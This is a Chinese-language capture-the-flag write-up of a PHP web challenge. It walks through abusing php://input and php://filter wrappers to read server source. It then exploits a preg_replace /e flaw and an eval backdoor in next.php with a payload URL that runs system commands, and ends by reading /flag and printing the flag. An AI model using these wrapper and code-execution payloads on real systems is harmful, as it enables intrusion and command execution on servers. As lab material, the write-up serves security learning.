~记录心路历程~
~一上来就代码审计≡(▔﹏▔)≡~
看了看代码大致内容:
- (1-3行)关闭报错反馈,url中要有"text"参数,url中要有"file"参数
- (4行,if条件)存在$text参数 and 查找名称为$text的文件且文件内容为"I have a dream"
- (5行)回显获取的文件内容
- (6-9行,if块)当$file参数值匹配/flag/时停止代码,并返回"Not now!"
- (10行)文件包含,将名为$file的文件引入此php代码(后面的next.php注释仿佛在说就要这个文件名)
- (往下的其余代码)不重要辣
分析:
- 看到file_get_contents()函数要读服务器文件匹配字符,我先随便试了试一些常见的服务器文件(构造url:text=robots.txt或者index.php等),结果没有东西。这时候就想到了自己构造东西让他识别,而且这个函数和伪协议天配(伪协议大佬总结:PHP文件包含漏洞利用思路与Bypass总结手册(一)_合天网安实验室的博客-CSDN博客)。
- 用burpsuite抓包改报头,伪协议使用php://input,格式如下
POST /..?参数=php://input ... php代码
这样就过了第一层$text的构造
-
接下来构造$file,前面代码分析过了$file的值极有可能是next.php,写上来试试
出现了一行提示,但信息不多,如果有多个php://input参数,请求体中的php代码也只会执行一次所以如果在url再构造这个参数没什么用。此时不妨直接访问一下next.php
-
访问结果如下:
没有任何东西,但说明是有这个文件的。
-
此时可以思考,既然伪协议可用,那可用通过php://filter这个伪协议读取这个文件内容,格式如下:
(url串)...? 参数=php://filter/read=convert.base64-encode/resource=文件名
得到next.php的base64编码
将这个字符串base64解码得:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
?>
代审:
-
在 PHP 中,`preg_replace` 是一个强大的正则表达式替换函数。它可以在一个字符串中使用正则表达式搜索和替换指定的文本。
函数语法如下:
preg_replace($pattern, $replacement, $subject);这里的 `$pattern` 是一个正则表达式字符串,用于指定搜索的模式, `$replacement` 是替换成的字符串, `$subject` 是要搜索和替换的原始字符串或字符串数组。
`preg_replace` 函数返回一个替换后的字符串或数组。如果没有任何匹配项,则返回原始字符串或数组。
-
逐字翻译一下这里的正则:
( 开始定义一个捕获分组,并匹配其中的子表达式;
$re 表示使用 $re 变量包含的正则表达式来作为子表达式;
) 结束定义捕获分组;
/ 结束定义正则表达式;
e 操作符表示将匹配到的表达式当做 PHP 代码来执行;
i 操作符表示匹配时忽略大小写的差异。 -
foreach循环把所有的参数对分次交给complex函数运行
-
getFlag一句话木马,"cmd"作为参数
审计总结:需要构造两个参数:
-
作为正则表达式匹配条件的参数名 且 这个参数值为的"getFlag();"
- 参数名:cmd 和 需要php执行的代码
所以构造
(url).../next.php?id=1&\S*={${getFlag()}}&cmd=system('linux命令');
PS:\S是什么意思?
正则表达式\S匹配非空字符
PS: 为什么用{${getFlag()}} 这个写法?
${phpinfo()}
会调用phpinfo()
函数并试图将结果嵌入到字符串中。而如果使用
phpinfo()
函数,它不会自动嵌入到字符串中。(我在这试了好久TAT
然后在linux命令逐级查ls ../ -a文件,最后在/(根目录下)发现flag
然后cat /flag拿到flag
flag{79d2c2c7-86c4-4671-a8e8-f1aa4faee4fd}